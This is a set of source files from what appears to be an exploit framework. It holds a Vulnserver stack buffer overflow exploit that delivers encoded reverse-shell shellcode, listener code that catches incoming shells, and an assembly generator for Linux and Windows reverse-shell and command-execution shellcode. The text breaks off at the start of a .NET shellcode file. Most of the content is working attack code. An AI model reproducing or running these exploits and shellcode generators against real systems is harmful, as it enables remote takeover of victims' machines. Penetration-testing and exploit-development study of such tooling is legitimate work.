================================================
FILE: docs/files/template.py
================================================
#!/usr/bin/env python
#IMPORTS SECTION
from collections import OrderedDict # for rigth options order
from Sploit import Sploit # base class for module
#INFO SECTION
INFO = {}
INFO['NAME'] = '' # Module name
INFO['DESCRIPTION'] = '' # Short description of vulnerability
INFO['VENDOR'] = '' # Vulnerable soft vendor's homepage
INFO['CVE Name'] = '' # CVE if exists(like 2017-9999)
INFO['NOTES'] = """ """ # Full description of vulnerability
INFO['DOWNLOAD_LINK'] = '' # Link to vulnerable soft
INFO['LINKS'] = [] # Some helpful links(like exploit's page on exploit-db or link to some article)
INFO['CHANGELOG'] = '' # Usually it's exploit writing date
INFO['PATH'] = 'General/' # Virtual path of module. It used by module tree in GUI
# OPTIONS SECTION
OPTIONS = OrderedDict()
OPTIONS['HOST'] = '127.0.0.1'
OPTIONS['PORT'] = 9999
class exploit(Sploit):
def __init__(self,host="",
port=0, ssl=False,
logger=None):
Sploit.__init__(self, logger=logger)
def args(self):
self.args = Sploit.args(self, OPTIONS)
def run(self):
#Get options from gui
self.args()
#YOUR CODE
##########
self.finish(True)
if __name__ == '__main__':
print "Running exploit %s .. " % INFO['NAME']
e = exploit("192.168.0.1", 80)
e.run()
================================================
FILE: docs/files/vulnserver_bof/vulnserver_buffer_overflow.py
================================================
#!/usr/bin/env python
#IMPORTS SECTION
from collections import OrderedDict # for rigth options order
from Sploit import Sploit # base class for module
import socket
from shellcodes.Shellcodes import OSShellcodes
from shellcodes.ShellUtils import Constants
#INFO SECTION
INFO = {}
INFO['NAME'] = 'vulnserver_buffer_overflow' # Module name
INFO['DESCRIPTION'] = 'Vulnserver Stack-Based Buffer Overflow' # Short description of vulnerability
INFO['VENDOR'] = 'http://www.thegreycorner.com/2010/12/introducing-vulnserver.html' # Vulnerable soft vendor's homepage
INFO['CVE Name'] = '' # CVE if exists(like 2017-9999)
INFO['NOTES'] = """ """ # Full description of vulnerability
INFO['DOWNLOAD_LINK'] = 'http://sites.google.com/site/lupingreycorner/vulnserver.zip' # Link to vulnerable soft
INFO['LINKS'] = ['http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-introduction',
'http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-2-exploiting-the-stack-overflow/',
'http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-3-%E2%80%94-adding-shellcode'] # Some helpful links(like exploit's page on exploit-db or link to some article)
INFO['CHANGELOG'] = '17 Apr 2017' # Usually used for exploit writing date
INFO['PATH'] = 'Tutorials/' # Virtual path of module. It used in module tree in GUI
# OPTIONS SECTION
OPTIONS = OrderedDict()
OPTIONS['HOST'] = '192.168.1.176'
OPTIONS['PORT'] = 9999
OPTIONS['CONNECTBACK_IP'] = '192.168.1.32'
class exploit(Sploit):
def __init__(self,host="",
port=0, ssl=False,
logger=None):
Sploit.__init__(self, logger=logger)
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get('HOST', OPTIONS['HOST'])
self.port = self.args.get('PORT', OPTIONS['PORT'])
self.connectback_ip = self.args.get('CONNECTBACK_IP', OPTIONS['CONNECTBACK_IP'])
if self.args['listener']:
self.listener_port = self.args['listener']['PORT']
else:
self.log('[-] Please enable listener')
self.finish(False)
def generate_shellcode(self):
badchars = ['\x00', '\x0a', '\x0d'] # badchars
sc = OSShellcodes(Constants.OS.WINDOWS,
Constants.OS_ARCH.X32,
self.connectback_ip,
self.listener_port,
badchars)
shell = sc.create_shellcode(
Constants.ShellcodeConnection.REVERSE, # tcp connect back shellcode
encode=Constants.EncoderType.XOR # Encoding to remove badchars
)
return shell
def run(self):
#Get options from gui
self.args()
#YOUR CODE
sock = socket.socket()
sock.connect((self.host, self.port)) # connects to vulnserver.exe
payload = 'TRUN .'
payload += 'A' * 2006
payload += '\xAF\x11\x50\x62' # essfunc.dll JMP ESP(0x625011AF)
payload += '\x90' * 16 # 16 NOPs
payload += self.generate_shellcode()
sock.sendall(payload)
##########
self.finish(True)
if __name__ == '__main__':
print "Running exploit %s .. " % INFO['NAME']
e = exploit("192.168.0.1", 80)
e.run()
================================================
FILE: docs/index.html
================================================
EaST Tutorials
Bootstrap test
Bootstrap test
================================================
FILE: help/README.txt
================================================
================================================
FILE: listener/__init__.py
================================================
================================================
FILE: listener/bind_connector.py
================================================
import socket
import asyncore
import os, sys
import select
import errno
from websocket import create_connection
from Commands import APIClient
import json
class TCPBindConnector(asyncore.dispatcher):
def __init__(self):
asyncore.dispatcher.__init__(self)
self.__module_name = sys.argv[-1]
self.wsport = 49999
self.connection = create_connection("ws://%s:%s" % ("127.0.0.1", self.wsport))
self.api = APIClient(self.connection)
self.pid = os.getpid()
self.hello()
self.run()
def handle_connect(self):
self.send_message("Connection to %s:%s succeeded" % (self.host, self.port), 1)
def handle_close(self):
self.send_message("\nShell was disconnected", 2)
self.connection.close()
self.close()
sys.exit(1)
def handle_read(self):
data = self.recv_all()
if data:
self.send_message(data, 1)
def recv_all(self, chunk=4096):
buffer = []
while 1:
try:
data = self.recv(chunk)
if not data:
break
buffer.append(data)
except socket.error, e:
err = e.args[0]
if err == errno.EAGAIN or err == errno.EWOULDBLOCK:
# There is no data
break
return "".join(buffer)
def handle_write(self):
res = select.select([self.connection.sock], [], [], 0.2)
if not res[0]:
return
resp = json.loads(self.connection.recv())
command = resp.get('message')
if not command:
return
self.send(command+"\n")
def hello(self):
self.api.hello(self.__module_name, 'listener')
def run(self):
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
options = self.get_options()
self.host = options.get('HOST')
self.port = options.get('PORT')
self.send_message('Trying to connect to %s:%s' % (self.host, self.port))
self.connect((self.host, self.port))
def get_options(self):
resp = self.api.send_command('get_listener_options', module_name=self.__module_name)
return resp
def send_message(self, message, state=0):
''' Listener message to gui
:param message: Message from shell
:param state: 0 - shell is not connected
1 - shell connected
2 - shell disconnected
'''
self.api.send_command('on_listener_message', message=message, module_name=self.__module_name, state=state)
def recv_command(self):
data = self.connection.recv()
data = json.loads(data)
return data.get('message')
if __name__=="__main__":
server = TCPBindConnector()
asyncore.loop()
================================================
FILE: listener/listener.py
================================================
# -*- coding: utf-8 -*-
import Queue
import sys, os
import asyncore
import socket
import json
import logging
import errno
import time
from websocket import create_connection
import select
from Commands import APIClient
class ListenerHandler(asyncore.dispatcher):
def __init__(self, sock, listener):
asyncore.dispatcher.__init__(self, sock)
self.listener = listener
def handle_read(self):
data = self.recv_all()
if data:
self.listener.send_message(data, 1)
def recv_all(self, chunk=4096):
buffer = []
while 1:
try:
data = self.recv(chunk)
if not data:
break
buffer.append(data)
except socket.error, e:
err = e.args[0]
if err == errno.EAGAIN or err == errno.EWOULDBLOCK:
# There is no data
break
return "".join(buffer)
def handle_write(self):
res = select.select([self.listener.connection.sock], [], [], 0.2)
if not res[0]:
return
resp = json.loads(self.listener.connection.recv())
self.listener.logger.info("Recieved: " + str(resp))
command = resp.get('message')
if not command:
return
self.send(command+"\n")
def handle_close(self):
self.listener.send_message("\nShell was disconnected", 2)
self.listener.logger.info("Shell was disconnected")
self.listener.connection.close()
self.close()
self.listener.close()
sys.exit(1)
class Listener(asyncore.dispatcher):
def __init__(self):
self.__module_name = sys.argv[-1]
asyncore.dispatcher.__init__(self)
self.logger = logging.getLogger()
self.logger.setLevel(logging.INFO)
formatter = logging.Formatter('%(filename)s - %(asctime)s - %(levelname)s - %(message)s')
fh = logging.FileHandler('Logs/listener.log')
fh.setLevel(logging.INFO)
fh.setFormatter(formatter)
self.logger.addHandler(fh)
self.pid = os.getpid()
self.host = '0.0.0.0'
self.port = 5555
self.wsport = 49999
self.handler = None
self.connection = create_connection("ws://%s:%s" % ("127.0.0.1", self.wsport))
self.api = APIClient(self.connection)
self.hello()
self.run()
def run(self):
options = {}
options = self.get_options()
self.port = options.get('PORT', self.port)
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind((self.host, self.port))
except socket.error as msg:
self.logger.error('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1])
sys.exit()
self.listen(1)
self.send_message("Listening on %s:%s" % (self.host, str(self.port)))
def handle_accept(self):
if self.handler:
return
pair = self.accept()
if pair is not None:
sock, addr = pair
self.shell_addr = repr(addr)
self.send_message("Shell connected to %s" % self.shell_addr, 1)
self.handler = ListenerHandler(sock, self)
def send_message(self, message, state=0):
''' Listener message to gui
:param message: Message from shell
:param state: 0 - shell is not connected
1 - shell connected
2 - shell disconnected
'''
self.logger.info(("Listener PID = %s" % self.pid) + message)
self.api.send_command('on_listener_message', message=message, module_name=self.__module_name, state=state)
def get_options(self):
resp = self.api.send_command('get_listener_options', module_name=self.__module_name)
self.logger.debug(resp)
return resp
def hello(self):
self.api.hello(self.__module_name, 'listener')
if __name__=="__main__":
server = Listener()
asyncore.loop()
================================================
FILE: shellcodes/Asm.py
================================================
#!/usr/bin/python
# -*- coding: utf-8 -*-
from ctypes import *
from ShellUtils import *
class ShellGenerator:
def __init__(self, OS_TARGET, OS_TARGET_ARCH):
self.os_target = OS_TARGET
self.target = None
if OS_TARGET == Constants.OS.WINDOWS:
self.target = WindowsShellcodes(OS_TARGET_ARCH)
elif OS_TARGET == Constants.OS.LINUX:
self.target = LinuxShellcodes(OS_TARGET_ARCH)
else:
print("OS '%s' is not supported" % OS_TARGET)
return
self.OS_TARGET_ARCH = OS_TARGET_ARCH
def get_shellcode(self, type, message="", connectback_ip="127.0.0.1", connectback_port=5555, command="", make_exe=0, debug=0, filename="", dll_inj_funcs=[]):
if not self.target:
print("Generating shellcodes for '%s' OS is not supported" % self.os_target)
return None
if type not in self.target.shell_types:
print("There no shellcodes of type '%s' for system %s" % (type, self.target_os))
return None
code = ""
need_to_build = False
if type == "message":
code = self.target.message(message)
elif type == "reverse":
if not connectback_ip or not connectback_port:
print "You must specify connectback params"
return None
code = self.target.reverse(connectback_ip, connectback_port)
elif type == "command":
code = self.target.command(command)
else:
return None
shell, filepath = create_shellcode(code, self.os_target, self.OS_TARGET_ARCH, make_exe, debug, filename, dll_inj_funcs)
return shell, filepath
class LinuxShellcodes():
"""
Class with shellcodes (asm language)
"""
def __init__(self, OS_TARGET_ARCH):
self.shell_types = ["message", "reverse"]
self.target_os = "LINUX"
self.OS_TARGET_ARCH = OS_TARGET_ARCH
def message(self, message=''):
"""
Get simple asm code for Linux
"""
if not message:
message = 'hello'
code = """
BITS OS_TARGET_ARCH
jmp short one
two:
pop ecx ;get the address of the string from the stack
xor eax, eax ;clean up the registers
mov al, 4 ;syscall write
xor ebx, ebx
inc ebx ;stdout is 1
xor edx,edx
mov dl, LENGTH ;length of the string
int 0x80
mov al, 1 ;exit the shellcode
dec ebx
int 0x80
one:
call two ;jump to avoid null-bytes
db 'MESSAGE', 0x0a, 0x0d
"""
if self.OS_TARGET_ARCH == '32bit':
code = code.replace("OS_TARGET_ARCH", "32")
elif self.OS_TARGET_ARCH == '64bit':
code = code.replace("OS_TARGET_ARCH", "64")
code = code.replace("ecx", "rcx")
else:
print "Format: %s is not supported" % self.OS_TARGET_ARCH
return
code = code.replace("MESSAGE", message)
code = code.replace("LENGTH", str(len(message)))
return code
def reverse(self, connectback_ip, connectback_port):
"""
Get reverse shellcode for Linux
"""
# Reverse engineering
# $ strace -e execve,socket,bind,connect nc 127.0.0.1 12357
# execve("/usr/bin/nc", ["nc", "127.0.0.1", "12357"], [/* 59 vars */]) = 0
# socket(PF_NETLINK, SOCK_RAW, 0) = 3
# bind(3, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 0
#
# Here is a part we were looking for:
#
# socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
# connect(
# 3,
# {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")},
# 16
# ) = -1 EINPROGRESS (Operation now in progress)
if not connectback_ip or not connectback_port:
print "You must specify some params"
return None
code = ""
if self.OS_TARGET_ARCH == '32bit':
code = """
BITS 32
global _start
_start:
; =============================== SOCKET =====================================
; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
;
; int socket(int domain, int type, int protocol);
;
; int socketcall(int call, unsigned long *args)
; socketcall SYS_SOCKET socket() args
; EAX EBX ECX
; 102 1 (2, 1, 6)
;
; SYS_SOCKET will return file descriptor (fd) in EAX.
; EAX
xor eax, eax
mov al, 102 ; socketcall
; EBX
xor ebx, ebx
mov bl, 1 ; SYS_SOCKET socket()
; ECX
xor ecx, ecx
push ecx
push BYTE 6 ; IPPROTO_TCP || int protocol);
push BYTE 1 ; SOCK_STREAM || int type,
push BYTE 2 ; AF_INET || socket(int domain,
mov ecx, esp ; ECX - PTR to arguments for socket()
int 0x80 ; sockfd will be stored in EAX after this call
; EAX return
mov esi, eax ; save socket fd in ESI for later
;
; =============================== CONNECT =====================================
;
; connect(
; 3,
; {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")},
; 16
; ) = -1 EINPROGRESS (Operation now in progress)
;
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;
jmp short call_get_ip_and_port
back2shellcode:
pop edi ; getting ip and port address from ESP
; EAX
xor eax, eax
mov al, 102 ; socketcall
; EBX
xor ebx, ebx
mov bl, 3 ; SYS_CONNECT connect()
; ECX
xor edx, edx
; push edx ; 0.0.0.0 - ALL interfaces
; push DWORD 0x0100007f ; 127.0.0.1 in reverse *** CONTAINS NULLs ! ***
; push DWORD 0x0101a8c0 ; 192.168.1.1 in reverse
push DWORD [edi] ; push IP
push WORD [edi+0x4] ; push port
dec ebx ; decrease bl from 3 to 2 to use it in the next push
push WORD bx ; 2 - AF_INET
inc ebx ; put back bl to 3 for SYS_CONNECT
mov ecx, esp ; ptr to struct sockaddr
push BYTE 16 ; socklen_t addrlen);
push ecx ; const struct sockaddr *addr,
push esi ; connect(int sockfd,
mov ecx, esp ; ECX = PTR to arguments for connect()
int 0x80 ; sockfd will be in EBX
;
; =============================== DUP FD =====================================
;
; Before we spawn a shell, we need to forward all I/O (stdin,stdout,stderr)
; to a client. For this, we can dup2 syscall to duplicate a file descriptor.
; man 2 dup2
; int dup2(int oldfd, int newfd);
; EAX, EBX, ECX
; 63 sockfd 0
; 63 sockfd 1
; 63 sockfd 2
;
; move our sockfd to EAX
mov eax, ebx
xor eax, eax
mov al, 63 ; dup2 syscall
xor ecx, ecx ; 0 - stdin
int 0x80 ; call dup2(sockfd, 0)
mov al, 63 ; dup2 syscall
mov cl, 1 ; 1 - stdout
int 0x80 ; call dup2(sockfd, 1)
mov al, 63 ; dup2 syscall
mov cl, 2 ; 2 - stderr
int 0x80 ; call dup2(sockfd, 2)
;
; =============================== EXECVE =====================================
;
; Now as we forwarded sockfd to a client, we can spawn shell.
; Prepare the path, in little-endian, using the Python
; >>> '//bin/sh'[::-1].encode('hex')
; '68732f6e69622f2f'
;
; int execve(const char *filename, char *const argv[], char *const envp[]);
; EAX EBX, ECX, EDX
; 11 '//bin/sh' PTR to EBX NULL
; EAX
xor eax, eax
mov al, 11 ; execve syscall
; EBX
xor edx, edx
push edx ; NULL termination of '//bin/sh' string
push 0x68732f6e ; '//bin/sh' in reverse
push 0x69622f2f ; beginning of '//bin/sh' string is here
mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
; ECX
push edx ; NULL termination of a stack
push ebx ; load our '//bin/sh' on a stack
mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
; EDX
push edx ; NULL terminator
mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
int 0x80 ; call execve(EBX, ECX, EDX)
call_get_ip_and_port:
call back2shellcode
; dd 0x0101a8c0 ; Example: DWORD 192.168.1.1 reverse (in hex)
; db 0xc0, 0xa8, 0x01, 0x01 ; Example: BYTE 192.168.1.1 straight (in hex)
db CONNECTBACK_IP
; dw 0x4530 ; Example: WORD 12357 reverse (in hex)
; db 0x30, 0x45 ; Example: BYTE 12357 straight (in hex)
db CONNECTBACK_PORT
"""
connectback_ip_hex = ''
for i in connectback_ip.split('.'):
connectback_ip_hex += '0x' + '{:02X}'.format(int(i)) + ', '
connectback_ip_hex = connectback_ip_hex[:-2]
connectback_port_hex = '0x' + '{:04X}'.format(connectback_port)[:-2] + ', '
connectback_port_hex += '0x' + '{:04X}'.format(connectback_port)[-2:]
elif self.OS_TARGET_ARCH == '64bit':
code = """
BITS 64
global _start
; settings
;IP equ 0x0100007f ; default 127.0.0.1, contains nulls so will need mask
IP equ CONNECTBACK_IP
;PORT equ 0x5c11 ; default 4444
PORT equ CONNECTBACK_PORT
; syscall kernel opcodes
SYS_SOCKET equ 0x29
SYS_CONNECT equ 0x2a
SYS_DUP2 equ 0x21
SYS_EXECVE equ 0x3b
; argument constants
AF_INET equ 0x2
SOCK_STREAM equ 0x1
_start:
; High level psuedo-C overview of shellcode logic:
;
; sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
;
; struct sockaddr = {AF_INET; [PORT; IP; 0x0]}
;
; connect(sockfd, &sockaddr, 16)
;
; dup2(sockfd, STDIN+STDOUT+STDERR)
; execve("/bin/sh", NULL, NULL)
create_sock:
; sockfd = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
xor esi, esi ; 0 out rsi
mul esi ; 0 out rax, rdx
; rdx = IPPROTO_IP (int: 0)
inc esi ; rsi = SOCK_STREAM (int: 1)
push AF_INET ; rdi = AF_INET (int: 2)
pop rdi
add al, SYS_SOCKET
syscall
; copy socket descriptor to rdi for future use
push rax
pop rdi
struct_sockaddr:
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = inet_addr("127.0.0.1")
; bzero(&server.sin_zero, 8)
push rdx
push rdx
mov dword [rsp + 0x4], IP
mov word [rsp + 0x2], PORT
mov byte [rsp], AF_INET
connect_sock:
; connect(sockfd, (struct sockaddr *)&server, sockaddr_len)
push rsp
pop rsi
push 0x10
pop rdx
push SYS_CONNECT
pop rax
syscall
dupe_sockets:
; dup2(sockfd, STDIN)
; dup2(sockfd, STDOUT)
; dup2(sockfd, STERR)
push 0x3 ; loop down file descriptors for I/O
pop rsi
dupe_loop:
dec esi
mov al, SYS_DUP2
syscall
jne dupe_loop
exec_shell:
; execve('//bin/sh', NULL, NULL)
push rsi ; *argv[] = 0
pop rdx ; *envp[] = 0
push rsi ; '\0'
mov rdi, '//bin/sh' ; str
push rdi
push rsp
pop rdi ; rdi = &str (char*)
mov al, SYS_EXECVE ; we fork with this syscall
syscall
"""
connectback_ip_hex = '0x'
for i in reversed(connectback_ip.split('.')):
connectback_ip_hex += '{:02X}'.format(int(i))
connectback_port_hex = '0x' + '{:04X}'.format(connectback_port)[-2:]
connectback_port_hex += '{:04X}'.format(connectback_port)[:-2]
else:
print "Format: %s is not supported" % self.OS_TARGET_ARCH
return
code = code.replace("CONNECTBACK_IP", connectback_ip_hex)
code = code.replace("CONNECTBACK_PORT", connectback_port_hex)
return code
class WindowsShellcodes():
def __init__(self, OS_TARGET_ARCH):
self.shell_types = ["message", "reverse", "command"]
self.target_os = "WINDOWS"
self.target_arch = OS_TARGET_ARCH
def message(self, message=''):
"""
Get simple asm code for windows
"""
if not message:
message = 'hello'
code = """
global _start
_start:
;eax holds return value
;ebx will hold function addresses
;ecx will hold string pointers
;edx will hold NULL
xor eax,eax
xor ebx,ebx ;zero out the registers
xor ecx,ecx
xor edx,edx
jmp short GetLibrary
LibraryReturn:
pop ecx ;get the library string
mov [ecx + 10], dl ;insert NULL
mov ebx, ADDR_LoadLibraryA ;LoadLibraryA(libraryname);
push ecx ;beginning of user32.dll
call ebx ;eax will hold the module handle
jmp short FunctionName
FunctionReturn:
pop ecx ;get the address of the Function string
xor edx,edx
mov [ecx + 11], dl ;insert NULL
push ecx
push eax
mov ebx, ADDR_GetProcAddress ;GetProcAddress(hmodule,functionname);
call ebx ;eax now holds the address of MessageBoxA
jmp short Message
MessageReturn:
pop ecx ;get the message string
xor edx,edx
mov [ecx+3], dl ;insert the NULL
xor edx,edx
push edx ;MB_OK
push ecx ;title
push ecx ;message
push edx ;NULL window handle
call eax ;MessageBoxA(windowhandle,msg,title,type); Address
ender:
xor edx,edx
push eax
mov eax, ADDR_ExitProcess ;ExitProcess(exitcode);
call eax ;exit cleanly so we don't crash the parent program
;the N at the end of each string signifies the location of the NULL
;character that needs to be inserted
GetLibrary:
call LibraryReturn
db 'user32.dllN'
FunctionName:
call FunctionReturn
db 'MessageBoxAN'
Message:
call MessageReturn
db 'MESSAGEN'
"""
code = code.replace("MESSAGE", str(message))
functions = ['LoadLibraryA', 'GetProcAddress', 'ExitProcess']
handle = windll.kernel32.GetModuleHandleA('kernel32.dll')
for func in functions:
address = hex(windll.kernel32.GetProcAddress(handle, func))
code = code.replace("ADDR_" + func, str(address))
return code
def command(self, command='calc.exe', technique='PEB'):
"""
Get simple asm code for windows
"""
code = ''
if technique == 'SEH':
code = """
global _start
_start:
call start_main
LGetProcAddress:
push ebx
push ebp
push esi
push edi
mov ebp, [esp + 24]
mov eax, [ebp + 0x3c]
mov edx, [ebp + eax + 120]
add edx, ebp
mov ecx, [edx + 24]
mov ebx, [edx + 32]
add ebx, ebp
LFnlp:
jecxz LNtfnd
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp
xor edi, edi
cld
LHshlp:
xor eax, eax
lodsb
cmp al, ah
je LFnd
ror edi, 13
add edi, eax
jmp short LHshlp
LFnd:
cmp edi, [esp + 20]
jnz LFnlp
mov ebx, [edx + 36]
add ebx, ebp
mov cx, [ebx + 2 * ecx]
mov ebx, [edx + 28]
add ebx, ebp
mov eax, [ebx + 4 * ecx]
add eax, ebp
jmp short LDone
LNtfnd:
xor eax, eax
LDone:
pop edi
pop esi
pop ebp
pop ebx
ret 8
start_main:
pop esi
push byte 0x30
pop ecx
mov ebx, [fs:ecx]
mov ebx, [ebx + 0x0c]
mov ebx, [ebx + 0x1c]
mov ebx, [ebx]
mov ebx, [ebx + 0x08]
push ebx ; kernel32.dll base
push HASH_WinExec ; WinExec
call esi ; GetProcAddress(kerne32.dll, WinExec)
push eax
push ebx ; kernel32.dll base
push HASH_ExitProcess ; ExitProcess
call esi ; GetProcAddress(kerne32.dll, ExitProcess)
push eax
"""
code += """
jmp short GetCommand
CommandReturn:
pop ebx ; ebx now holds the handle to the string
;xor eax,eax
push eax
xor eax,eax ; for some reason the registers can be very volatile, did this just in case
;mov [ebx + 89],al ; insert the NULL character
push ebx
mov ebx, [ebp-32] ; WinExec: 0x7c86114d
call ebx ; call WinExec(path,showcode)
xor eax,eax ; zero the register again, clears WinExec retval
push eax
mov ebx, [ebp-36] ; ExitProcess: 0x7c81caa2
call ebx ;call ExitProcess(0);
GetCommand:
;the N at the end of the db will be replaced with a null character
call CommandReturn
db "COMMAND 0"
"""
code = code.replace("COMMAND", str(command))
code = code.replace('HASH_WinExec', str(self.compute_hash_by('WinExec', 0xd)))
code = code.replace('HASH_ExitProcess', str(self.compute_hash_by('ExitProcess', 0xd)))
if technique == 'PEB':
code = """
global _start
_start:
jmp start_main
;peb technique
find_kernel32:
xor eax, eax ; clear ebx
mov eax, [fs:0x30] ; get a pointer to the PEB
mov eax, [eax+0x0C] ; get PEB->Ldr
mov eax, [eax+0x14] ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
mov eax, [eax] ; get the next entry (2nd entry)
mov eax, [eax] ; get the next entry (3rd entry)
mov eax, [eax+0x10] ; get the 3rd entries base address (kernel32.dll)
ret
;Function : Find function base address
find_function:
pushad
mov ebp,[esp+0x24]
mov eax,[ebp+0x3c]
mov edx,[ebp+eax+0x78]
add edx,ebp
mov ecx,[edx+0x18]
mov ebx,[edx+0x20]
add ebx,ebp
find_function_loop:
jecxz find_function_finished
dec ecx
mov esi,[ebx+ecx*4]
add esi,ebp
xor edi,edi
xor eax,eax
cld
compute_hash_again:
lodsb
test al,al
jz compute_hash_finished
ror edi,0xd
add edi,eax
jmp compute_hash_again
compute_hash_finished:
find_function_compare:
cmp edi,[esp+0x28]
jnz find_function_loop
mov ebx,[edx+0x24]
add ebx,ebp
mov cx,[ebx+2*ecx]
mov ebx,[edx+0x1c]
add ebx,ebp
mov eax,[ebx+4*ecx]
add eax,ebp
mov [esp+0x1c],eax
find_function_finished:
popad
ret
find_funcs_for_dll:
lodsd
push eax
push edx
call find_function
mov [edi], eax
add esp,0x08
add edi,0x04
cmp esi,ecx
jne find_funcs_for_dll
find_funcs_for_dll_finished:
ret
GetHashes:
call GetHashesReturn
dd HASH_CreateFileA ; CreateFileA hash
dd HASH_WriteFile ; WriteFile hash
dd HASH_CloseHandle ; CloseHandle hash
dd HASH_WinExec ; WinExec hash
dd HASH_ExitProcess ; ExitProcess hash
;Main
start_main:
sub esp,0x14 ;allocate space on stack to store 5 function address
mov ebp,esp
call find_kernel32
mov edx,eax ;save base address of kernel32 in edx
jmp GetHashes ;get address of WinExec hash
GetHashesReturn:
pop esi ;get pointer to hash into esi
lea edi, [ebp+0x4] ;we will store the function addresses at edi
mov ecx,esi
add ecx,0x14 ; store address of last hash into ecx
call find_funcs_for_dll ;get function pointers for all hashes
jmp startcalling
startcalling:
;All Done Start calling Win32 APIs
xor eax,eax
xor ebx,ebx ;zero out the registers
xor ecx,ecx ;ECX will always hold 0
jmp GetArgument
GetArgument:
call ArgumentReturn
db "COMMAND 0"
ArgumentReturn: ;calc.exe
pop edx
push edx
call [ebp+16] ;WinExec.Kernel32.dll
push ecx ;0
call [ebp+20] ;ExitProcess.Kernel32.dll
"""
code = code.replace("COMMAND", str(command))
code = code.replace('HASH_CreateFileA', str(self.compute_hash_by('CreateFileA', 0xd)))
code = code.replace('HASH_WriteFile', str(self.compute_hash_by('WriteFile', 0xd)))
code = code.replace('HASH_CloseHandle', str(self.compute_hash_by('CloseHandle', 0xd)))
code = code.replace('HASH_WinExec', str(self.compute_hash_by('WinExec', 0xd)))
code = code.replace('HASH_ExitProcess', str(self.compute_hash_by('ExitProcess', 0xd)))
return code
def reverse(self, connectback_ip, connectback_port):
code = """
global _start
_start:
cld
call main
pusha
mov ebp,esp
xor eax,eax
mov edx,DWORD [fs:eax+0x30]
mov edx,DWORD [edx+0xc]
mov edx,DWORD [edx+0x14]
place1:
mov esi,DWORD [edx+0x28]
movzx ecx,WORD [edx+0x26]
xor edi,edi
loop1:
lodsb
cmp al,0x61
jl place2
sub al,0x20
place2:
ror edi,0xd
add edi,eax
loop loop1
push edx
push edi
mov edx,DWORD [edx+0x10]
mov ecx,DWORD [edx+0x3c]
mov ecx,DWORD [ecx+edx*1+0x78]
jecxz place6
add ecx,edx
push ecx
mov ebx,DWORD [ecx+0x20]
add ebx,edx
mov ecx,DWORD [ecx+0x18]
place3:
jecxz place5
dec ecx
mov esi,DWORD [ebx+ecx*4]
add esi,edx
xor edi,edi
place4:
lodsb
ror edi,0xd
add edi,eax
cmp al,ah
jne place4
add edi,DWORD [ebp-0x8]
cmp edi,DWORD [ebp+0x24]
jne place3
pop eax
mov ebx,DWORD [eax+0x24]
add ebx,edx
mov cx,WORD [ebx+ecx*2]
mov ebx,DWORD [eax+0x1c]
add ebx,edx
mov eax,DWORD [ebx+ecx*4]
add eax,edx
mov DWORD [esp+0x24],eax
pop ebx
pop ebx
popa
pop ecx
pop edx
push ecx
jmp eax
place5:
pop edi
place6:
pop edi
pop edx
mov edx,DWORD [edx]
jmp place1
main:
pop ebp
push 0x3233
push 0x5f327377
push esp
push 0x726774c
call ebp
mov eax,0x190
sub esp,eax
push esp
push eax
push 0x6b8029
call ebp
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax
push 0xe0df0fea
call ebp
xchg edi,eax
push 0x5
push CONNECTBACK_IP ;host
push CONNECTBACK_PORT ; port
mov esi,esp
place7:
push 0x10
push esi
push edi
push 0x6174a599
call ebp
test eax,eax
je place8
dec DWORD [esi+0x8]
jne place7
push 0x56a2b5f0
call ebp
place8:
push 0x646d63
mov ebx,esp
push edi
push edi
push edi
xor esi,esi
push 0x12
pop ecx
loop2:
push esi
loop loop2
mov WORD [esp+0x3c],0x101
lea eax,[esp+0x10]
mov BYTE [eax],0x44
push esp
push eax
push esi
push esi
push esi
inc esi
push esi
dec esi
push esi
push esi
push ebx
push esi
push 0x863fcc79
call ebp
mov eax,esp
dec esi
push esi
inc esi
push DWORD [eax]
push 0x601d8708
call ebp
mov ebx,0x56a2b5f0
push 0x9dbd95a6
call ebp
cmp al,0x6
jl place9
cmp bl,0xe0
jne place9
mov ebx,0x6f721347
place9:
push 0x0
push ebx
call ebp
"""
connectback_ip_hex = '0x'
connectback_ip_arr = []
for i in connectback_ip.split('.'):
connectback_ip_arr.append('{:02X}'.format(int(i)))
for i in reversed(connectback_ip_arr):
connectback_ip_hex += i
connectback_port_hex = '0x' + '{:04X}'.format(connectback_port)[-2:]
connectback_port_hex += '{:04X}'.format(connectback_port)[:-2]
connectback_port_hex += '0002'
code = code.replace("CONNECTBACK_IP", connectback_ip_hex)
code = code.replace("CONNECTBACK_PORT", connectback_port_hex)
return code
def compute_hash_by(self, key, num=0xd):
"""
Compute hash of WinApi functions
"""
hash = 0
while key:
c_ptr = ord(key[0])
hash = (hash << (32 - num)) & 0xffffffff | (hash >> num) & 0xffffffff
hash += c_ptr
key = key[1:]
hash = "0x%08x" % hash
return hash
================================================
FILE: shellcodes/DotNetShellcode.py
================================================
import os
from shellcode import Shellcode
class AspxShellcode(Shellcode):
"""
Class with shellcodes for java language
"""
def __init__(self, connectback_ip='localhost', connectback_port=5555,
badchars=['\x00']):
Shellcode.__init__(self, connectback_ip=connectback_ip, connectback_port=connectback_port, badchars=badchars)
def get_reverse(self, inline=False):
